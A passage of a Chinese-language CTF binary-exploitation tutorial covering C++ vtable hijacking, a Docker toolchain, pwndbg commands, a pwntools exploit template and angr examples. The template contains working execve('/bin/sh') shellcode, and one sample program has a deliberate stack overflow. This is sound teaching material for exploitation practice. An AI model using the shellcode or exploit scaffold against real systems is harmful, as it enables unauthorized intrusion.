    对于两个连续调用的函数,第一个函数执行完成后其栈桢被回收(即 esp=ebp),但是被回收的栈上保存的内容并不会被清空,这时开始执行第二个函数,开辟新的栈桢,第二个函数开辟的栈桢中某些未初始化的局部变量的默认值可能会受到第一个函数中未被清空的局部变量的影响

C++

对于 C++ 的 pwn 大都针对于虚函数。C++ 支持多态与虚函数,基类的虚函数仅负责给出函数的定义,而该函数的具体实现由子类决定。由于在编译期间无法确定具体对象所调用的虚函数,因此 C++ 主要通过动态绑定的方法实现了虚函数,即在程序运行过程中根据对象的实际类型决定调用哪个虚函数。简而言之,虚函数的目的就是为了通过一个基类指针可以调用子类的同名函数,而这一功能在编译期间无法实现,主要通过虚表进行延迟绑定实现。

每个包含虚函数的类都会有一个虚表(vtable),该类的所有对象共用一个虚表,虚表其实是一个指针数组,数组中每个元素都是一个指向一个虚函数的指针。虚表一般位于.rodata 段中,位于类的定义数据的起始位置,只读不可写。在程序编译的时候虚表内容就已经确定。若一个子类继承了包含虚函数的类,该子类也有一个虚表,虚表中的指针会指向其继承树中最近的一个类的虚函数。类的每一个对象都保存一个指向该对象所属类的虚表的指针__vptr,当调用一个对象的虚函数的时候,通过该对象的虚表指针找到该类的虚表,之后在虚表中找到对应的函数地址并且调用。

假设有如下继承关系。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#include <iostream> 
#include <string>

using namespace std;

class A {
public:
virtual void vfunc1(){cout<<"A::vfunc1()"<<endl;};
virtual void vfunc2(){cout<<"A::vfunc2()"<<endl;};
void func1(){cout<<"A::func1()"<<endl;};
void func2(){cout<<"A::func2()"<<endl;};
private:
int m_data1, m_data2;
};
class B: public A {
public:
virtual void vfunc1(){cout<<"B::vfunc1()"<<endl;};
void func1(){cout<<"B::func1()"<<endl;};
private:
int m_data3;
};
class C: public B {
public:
virtual void vfunc2(){cout<<"C::vfunc2()"<<endl;};
void func2(){cout<<"C::func2()"<<endl;};
private:
int m_data1, m_data4;
};
int main(){
A a;
B b;
C c;
A *p;

p = &b;
p->func1(); // A::func1()
p->func2(); // A::func2()
p->vfunc1(); // B::vfunc1()
p->vfunc2(); // A::vfunc2()
cout << endl;

p = &c;
p->func1(); // A::func1()
p->func2(); // A::func2()
p->vfunc1(); // B::vfun1()
p->vfunc2(); // C::vfun2()
cout << endl;
return 0;
}

p 是一个 A 类的指针,p 首先指向 B 的对象 b,此时 b->__vptr 指向 B 的虚表,在虚表中查询对应函数地址即可找到真正调用的函数。内存中 A,B,C 三个类的虚表如下所示。

针对 C++ 的 pwn 基本都是劫持虚表,但是虚表本身不可写,所以可以劫持一个对象指向虚表的虚表指针。目前有两种主要的攻击手法:伪造虚表,让类的虚表指针指向伪造的一个虚表,或者修改虚表指针指向其他类的虚表。

Tools

Docker

建议使用 Docker 搭建本地环境,方便调试程序,本人使用的 docker 环境的 dockerfile 如下(Ubuntu 18.04),其中包含了后文中的大部分离线工具

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
FROM ubuntu:18.04

ENV TZ=Asia/Shanghai

RUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone && \
apt-get update && \
apt-get install -y ca-certificates

COPY sources.list /etc/apt/sources.list
COPY pip.conf /root/.pip/pip.conf

RUN dpkg --add-architecture i386 && apt-get -y update && apt install -y \
zsh \
seccomp \
libseccomp-dev \
libc6:i386 \
libc6-dbg:i386 \
libc6-dbg \
lib32stdc++6 \
g++-multilib \
cmake \
ipython3 \
upx-ucl \
vim \
net-tools \
iputils-ping \
libffi-dev \
libssl-dev \
python3-dev \
python3-pip \
python-pip \
build-essential \
ruby \
ruby-dev \
tmux \
strace \
ltrace \
nasm \
wget \
radare2 \
gdb \
gdb-multiarch \
netcat \
socat \
python3-distutils \
git \
binwalk \
patchelf \
gawk \
file \
tree \
bison --fix-missing && \
rm -rf /var/lib/apt/list/*

RUN pip2 install --upgrade pip setuptools && \
pip2 install pathlib2 pwntools --no-cache-dir && \
pip3 install --upgrade pip setuptools && \
pip3 install --no-cache-dir --default-timeout=100 \
ropgadget \
pwntools \
z3-solver \
smmap2 \
apscheduler \
ropper \
unicorn \
keystone-engine \
capstone \
angr \
pebble

RUN gem sources --add https://mirrors.tuna.tsinghua.edu.cn/rubygems/ --remove https://rubygems.org/ && \
gem install one_gadget seccomp-tools zsteg && rm -rf /var/lib/gems/2.*/cache/*

RUN git clone --depth 1 https://github.com/pwndbg/pwndbg ~/pwndbg && \
cd ~/pwndbg && chmod +x setup.sh && ./setup.sh

RUN git clone --depth 1 https://github.com/scwuaptx/Pwngdb.git ~/Pwngdb && \
cd ~/Pwngdb && cat ~/Pwngdb/.gdbinit >> ~/.gdbinit && \
sed -i "s?source ~/peda/peda.py?# source ~/peda/peda.py?g" ~/.gdbinit

RUN git clone --depth 1 https://github.com/niklasb/libc-database.git ~/libc-database && \
echo "~/libc-database/" > ~/.libcdb_path

RUN git clone --depth 1 https://github.com/matrix1001/glibc-all-in-one ~/glibc-all-in-one

RUN chsh -s $(which zsh) && \
git clone https://github.com/ohmyzsh/ohmyzsh.git ~/.oh-my-zsh && \
cp ~/.oh-my-zsh/templates/zshrc.zsh-template ~/.zshrc && \
git clone https://github.com/zsh-users/zsh-syntax-highlighting.git ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/zsh-syntax-highlighting && \
git clone https://github.com/zsh-users/zsh-autosuggestions.git ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/zsh-autosuggestions && \
sed -i 's/plugins=(git)/plugins=(git zsh-syntax-highlighting zsh-autosuggestions)/g' ~/.zshrc

RUN apt-get install -y locales && locale-gen en_US && locale-gen en_US.UTF-8

ENV LANG=en_US.UTF-8
ENV LANGUAGE=en_US:en
ENV LC_ALL=en_US.UTF-8


IDA

最常用的逆向工具,可以很方便的将汇编代码反编译为便于人类可读的伪代码。

GDB/pwndbg

gdb 为 linux 自带的程序调试工具,但是原生的 gdb 非常难用,因此可以安装 pwndbg 插件增强 gdb 的功能,安装方法如下所示,在前文的 dockerfile 中集成了 pwndbg。

1
2
3
git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh

pwndbd 文档为https://browserpwndbg.readthedocs.io/en/docs/。常用的 pwndbg 命令如下。

命令 解释
set args xxxx xxxx 设置程序的 args 为 xxxx 和 xxxx
vmmap 查看程序的所有地址
run 直接执行程序
start 从头开始执行程序,相当于在第一行代码处下断点并且开始执行,通常这不会从 main 函数开始执行,而是 libc 中的 start
b *0xxxxxxxx 在地址 0xxxxxxxx 处下断点
b main 在 main 函数的开始处下断点
b func+10 在 func+10 处下断点
b func+10 if i == 1 条件断点,gdb 必须可以找到变量 i
d breakpoints 删除所有断点
d breakpoints 1 删除编号为 1 的断点
i breakpoints 查看所有断点
i functions 查看程序目前所有的函数名称与地址
attach 123 挂载到进程号 123 的程序,通常和 pwntools 配合使用
stack 查看栈上的东西
regs 查看目前所有寄存器的值
got 查看 got 表的信息
plt 查看 plt 表的信息
heap 查看堆上的 chunk
heap_info 查看 heap_info 的信息
arena 查看所有 arena 的信息
bins 查看所有 bin 的信息
tcache 查看 tcache 的信息
fastbins 查看 fastbins 所有的 chunk
smallbins 查看 smallbins 所有的 chunk
largebins 查看 largebins 所有的 chunk
unsortedbin 查看 unsortedbin 的所有 chunk
top_chunk 查看 top chunk 的信息
x/20xw 0xxxxx 以十六进制,4 字节为单位打印 20 个该地址保存的值,32 位程序常用
x/20xh 0xxxxx 以十六进制,2 字节为单位打印 20 个该地址保存的值
x/20xg 0xxxxx 以十六进制,8 字节为单位打印 20 个该地址保存的值,64 位程序常用
x/20i 0xxxxx 将该地址保存的值解析为指令打印 20 条
x/20s 0xxxxx 将改地址保存的值解析为字符串打印 20 个
rop 等同用使用 ropgadget
ropper 等同于使用 ropper
checksec 等同于使用 checksec,该命令来自 pwntools
canary 打印当前栈上的 canary
retaddr 打印当前站上的 ret 地址
distance 0xxxxx 0xxxxx 计算两个地址之间的距离
cyclic 10 生成 10 个字节 junk data,生成的 junk data 是有规律的,例如 aaabaaacaaad 等等,该命令来自 pwntools

pwntools

是一个专门为 pwn 而生的 python 库,其中集成了很多非常友好的 pwn 相关的 API 以及利用方法,很多手工利用很复杂的方法在 pwntools 中只需要一个函数就可以。

安装 pwntools。在前文的 dockerfile 中集成了 python2 和 python3 的 pwntools。

1
2
3
4
5
6
7
8
9
10
11
# python3
apt-get update
apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
python3 -m pip install --upgrade pip
python3 -m pip install --upgrade pwntools

# python2
apt-get update
apt-get install python python-pip python-dev git libssl-dev libffi-dev build-essential
python2 -m pip install --upgrade pip==20.3.4
python2 -m pip install --upgrade pwntools

下面是一个比较常用的 pwntools 脚本框架。若该脚本接收了参数,则会启动远程连接,否则仅为本地测试。可以根据 context.clear(arch='amd64') 来指定程序是否为 64 位,根据 context.update(log_level='debug') 来指定是否开启 debug 模式,根据 libc = ELF('./libc6_2.27-3ubuntu1.2_amd64.so') 来指定需要使用的 libc 文件,此外,pg 是一个 payload 生成器,也就是 cyclic,例如 pg.get(8) 会得到字符串aaaaaaab。debug 函数主要用来暂停程序,在本地测试的时候可以 attach 到 gdb,但是前提是需要在 tmux 里运行 exp。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from os.path import abspath
from ctypes import *
from sys import argv
from pwn import *
class Config:
host = '1.2.3.4'
port = 1234
elf = './pwn'
libc = None
# libc = './libc.so'
# Enable amd64.
x86_64 = True

# To enbale debug mode, by using "python exp.py d".
debug_mode = False
# To enbale remote mode, by using "python exp.py r".
remote_mode = False

try:
if 'd' in argv:
debug_mode = True
if 'r' in argv:
remote_mode = True
except:
pass

if debug_mode:
context.update(log_level='debug')

if x86_64:
context.update(arch='amd64')

context.update(terminal=['tmux', 'splitw', '-h'])
print(context)

class Pwn:
proc_base = libc_base = bin_sh = 0
# 25 bytes.
shellcode32 = '\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80'
# 24 bytes.
shellcode64 = '\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05'
pg = cyclic_gen()
libc = None
elf = ELF(Config.elf)

if Config.libc:
libc = ELF(Config.libc)
for i in libc.search('/bin/sh'):
bin_sh = i
break

@staticmethod
def debug(cmd='', p=False):
if Config.debug_mode:
if not Config.remote_mode:
gdb.attach(conn, cmd)
if p:
pause()

@staticmethod
def get_conn():
if Config.remote_mode:
conn = remote(Config.host, Config.port)
else:
conn = process(
Pwn.elf.path, env={
'LD_PRELOAD': Pwn.libc.path if Config.libc else ''
}
)

Pwn.proc_base = conn.libs()[abspath(Pwn.elf.path)]
log.info('Process base address: %s' % hex(Pwn.proc_base))
if Pwn.libc:
Pwn.libc_base = conn.libs()[abspath(Pwn.libc.path)]
log.info('Libc base address: %s' % hex(Pwn.libc_base))

return conn
# Debug funciton. Access 2 parameters, the first is gdb script and
# second is a bool to enable pause process after gdb attached.
d = Pwn.debug
# Get a pwn connection, including local and remote.
get_conn = Pwn.get_conn

# The pwn connection.
conn = get_conn()

# Payload generator, generate string like "aaaabaaacaaa"...
pg = Pwn.pg
# The ELF file.
elf = Pwn.elf
# The libc file.
libc = Pwn.libc
# Process base address. It is very usable if enable PIE.
proc_base = Pwn.proc_base
# Libc base address. Only availbale with local libc, for checking leaked libc address.
libc_base = Pwn.libc_base
# The "/bin/sh" offset address in libc.
bin_sh = Pwn.bin_sh
# A standard 25 bytes x86 shellcode.
shellcode32 = Pwn.shellcode32
# Astandard 24 bytes x86-64 shellcode.
shellcode64 = Pwn.shellcode64
# -------------------------=[Write your pwn code here]=-------------------------
conn.interactive()

一些常用的 pwntools 功能。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
pause()  # 暂停程序执行,在 send 数据之前暂停才有效,通常用来暂停程序执行等到用 gdb 进行 attach

# send and recv.
conn.sendline('aaa')
line = conn.recvline()
conn.sendlineafter('Name : ', 'aaa')
data = conn.recvall()
data = conn.recv(10) # recv 10 bytes data.
conn.recvuntil('Name : ')

# Auto create a new window and attach to gdb
gdb.attach(conn)

payload = p64(0x800000) # 64-bits int to string, return 8 bytes string.
payload = p32(0x800000) # 32-bits int to string, return 4 bytes string.
data = u64('\x00\x00\xff\xff') # 64-bits string to int.
data = u32('\x00\x00\xff\xff') # 32-bits string to int.

# Write asm.
shellcode = asm("""
mov eax,1;
push eax;
pop eax;
""")
conn.send(shellcode)

# Get libc offset.
puts_offset = libc.symbols['puts']
system_offset = libc.symbols['system']
# Get address of the string /bin/sh" from libc.
str_bin_sh = libc.search('/bin/sh').next()

# Get plt or got address of a function.
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

checksec

用来对一个二进制程序进行安全检查,检查是否开启常用的安全措施,实际上该程序是一个属于 pwntools 的 python 脚本。

asm online

一个可以在线编写汇编并且编译为 hex 字符串的 网站,支持 x86 与 x64,很方便编写和检查 shellcode,不过 pwntools 中集成了便携 asm 的 api。

libc-database

一个可以根据程序泄漏出的 libc 函数地址与函数名查询 libc 版本的 在线网站 。同时,libc-database 还是一个离线数据库,包含了几乎所有的 libc 版本,并且提供了方便的查询接口,但是该离线数据库非常大。以及 LibcSearcher 也是一个具有同样功能的离线数据库。

安装 libc-database,用 get 就可以自动下载所有的 ubuntu 的 libc 数据库到 db 目录下,通过 find 就可以直接根据函数名和后三个 16 进制的偏移识别对应的 libc。前文中的 dockerfile 集成了 libc-database,但是没有下载任何数据库,下载的 libc 数据库通常会达到好几个 g。

1
2
3
4
git clone https://github.com/niklasb/libc-database
cd libc-database
./get
./find printf 260 puts f30

ROPgadgets

检查一个 elf 文件中的所有 gadgets,包括 rop,jop 以及 cop 的 gadgets。安装 ropgadgets,在前文的 dockerfile 中集成了 ropgadgets。

1
2
sudo pip install capstone
pip install ropgadget
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
usage: ROPgadget.py [-h] [-v] [-c] [--binary <binary>] [--opcode <opcodes>]
[--string <string>] [--memstr <string>] [--depth <nbyte>]
[--only <key>] [--filter <key>] [--range <start-end>]
[--badbytes <byte>] [--rawArch <arch>] [--rawMode <mode>]
[--rawEndian <endian>] [--re <re>] [--offset <hexaddr>]
[--ropchain] [--thumb] [--console] [--norop] [--nojop]
[--callPreceded] [--nosys] [--multibr] [--all] [--noinstr]
[--dump] [--silent] [--align ALIGN]

optional arguments:
-h, --help show this help message and exit
-v, --version Display the ROPgadget's version
-c, --checkUpdate Checks if a new version is available
--binary <binary> Specify a binary filename to analyze
--opcode <opcodes> Search opcode in executable segment
--string <string> Search string in readable segment
--memstr <string> Search each byte in all readable segment
--depth <nbyte> Depth for search engine (default 10)
--only <key> Only show specific instructions
--filter <key> Suppress specific mnemonics
--range <start-end> Search between two addresses (0x...-0x...)
--badbytes <byte> Rejects specific bytes in the gadget's address
--rawArch <arch> Specify an arch for a raw file
--rawMode <mode> Specify a mode for a raw file
--rawEndian <endian> Specify an endianness for a raw file
--re <re> Regular expression
--offset <hexaddr> Specify an offset for gadget addresses
--ropchain Enable the ROP chain generation
--thumb Use the thumb mode for the search engine (ARM only)
--console Use an interactive console for search engine
--norop Disable ROP search engine
--nojop Disable JOP search engine
--callPreceded Only show gadgets which are call-preceded
--nosys Disable SYS search engine
--multibr Enable multiple branch gadgets
--all Disables the removal of duplicate gadgets
--noinstr Disable the gadget instructions console printing
--dump Outputs the gadget bytes
--silent Disables printing of gadgets during analysis
--align ALIGN Align gadgets addresses (in bytes)
--mipsrop <rtype> MIPS useful gadgets finder
stackfinder|system|tails|lia0|registers

如下图所示。

one_gadget

检查一个 libc 中是否有 one gadget。所谓 one gadget 指的是通过一个 gadget,满足某种约束(例如寄存器中某个值)即可直接 getshell。安装 one_gadget 如下。前文中的 dockerfile 集成了 one_gadget。

1
2
sudo apt -y install ruby
sudo gem install one_gadget

如下图所示。

以上图第 2 个 one gadget 为例,若可以满足 rsp+0x40 为 0,则直接跳转到 libc 中的 0x4f3c2 偏移就可以调用 execve 来 get shell。需要注意的是使用 one gadget 必须要先知道 libc 的基址。

ropper

类似 ropgadget 的工具,但是输出更好看一点,找到的 gadgets 貌似也更多一点,安装如下。前文中的 dockerfile 集成了 ropper。

1
pip install ropper

如下图所示。

Angr

angr 是一个 python 库,主要用来求解多种约束下的某一条程序路径所对应的输入。angr 的安装如下。

1
2
sudo apt-get install python-dev libffi-dev build-essential virtualenvwrapper

不过 angr 非常大,所以一般推荐使用 angr 的 docker。

1
2
3
4
5
6
7
8
# install docker
# curl -sSL https://get.docker.com/ | sudo sh

# pull the docker image
sudo docker pull angr/angr

# run it
sudo docker run -it angr

angr 主要是为了逆向而生,比如某程序有如下约束条件才可以继续执行。该程序来自 angr 官方示例。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdlib.h>

char *sneaky = "SOSNEAKY";

int authenticate(char *username, char *password)
{
char stored_pw[9];
stored_pw[8] = 0;
int pwfile;

// evil back d00r
if (strcmp(password, sneaky) == 0) return 1;

pwfile = open(username, O_RDONLY);
read(pwfile, stored_pw, 8);

if (strcmp(password, stored_pw) == 0) return 1;
return 0;

}

int accepted()
{
printf("Welcome to the admin console, trusted user!\n");
}

int rejected()
{
printf("Go away!");
exit(1);
}

int main(int argc, char **argv)
{
char username[9];
char password[9];
int authed;

username[8] = 0;
password[8] = 0;

printf("Username: \n");
read(0, username, 8);
read(0, &authed, 1);
printf("Password: \n");
read(0, password, 8);
read(0, &authed, 1);

authed = authenticate(username, password);
if (authed) accepted();
else rejected();
}

该程序要求我们输入一个正确的用户名和密码,通过手工逆向是可以很容易找到的,但是利用 angr 的脚本如下,其中 fauxware 是程序名,最后打印出了所有可能的通过检查的路径分支所对应的输入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/env python

import angr
def basic_symbolic_execution():
p = angr.Project('fauxware')
state = p.factory.entry_state()

path = p.factory.path(state)

pathgroup = p.factory.path_group(path)
pathgroup.step(until=lambda lpg: len(lpg.active) > 1)
for i in range(len(pathgroup.active)):
print "possible %d: " % i, pathgroup.active[i].state.posix.dumps(0)

if __name__ == '__main__':
print basic_symbolic_execution()

假设有如下存在栈溢出的程序,但是首先需要我们输入一个密码才可以进入触发栈溢出的函数。为了简化难度,直接假设密码比较简单,但是实际情况下手工逆向出密码非常复杂。

1
2
3
4
5
6
7
8
9
10
11
12
#include<stdio.h>
int main(void){
char buf[20]
char name[9];
scanf("%s",name);
if(!strcmp(name,"jsk")){
read(0, buf, 0x20);
}else{
printf("failed\n");
}
return 0;
}

求解这类问题的 angr 脚本如下。其中 pwn 为二进制程序名,find 参数为成功的路径的地址,对应到程序中就是 main 中调用 read 的地址,avoid 参数为失败的路径的地址,对应到程序中就是 main 中调用 printf 的地址,最后打印出找到的可以到达成功路径地址的输入。

1
2
3
4
5
6
7
8
9
10
11
12
#-*- coding:utf-8 -*-
import angr

def main():
p = angr.Project("pwn")
state = p.factory.entry_state()
sm = p.factory.simgr(state)
sm.explore(find=0x0804939D, avoid=0x080493B1)
print(sm.found[0].posix.dumps(0))

if __name__ == '__main__':
main()

一个真实的 ctf 示例如下,首先要求我们输入一个 key,通过一系列检查这个函数才会返回 1,表示输入了正确的 key,才可能会触发后续的漏洞利用,在这种场景下 angr 是最合适的。

seccomp-tools

检查程序开启的 seccomp 沙箱策略。安装如下。前文中的 dockerfile 集成了 seccomp-tools。

1
gem install seccomp-tools

如下图所示。

以上图为例,只允许的系统调用为 re_sigreturn,sigreturn,exit_group,exit,open,read,write。需要注意的是要是用该工具检查 elf 的沙箱策略,该工具必须先运行一遍 elf 文件。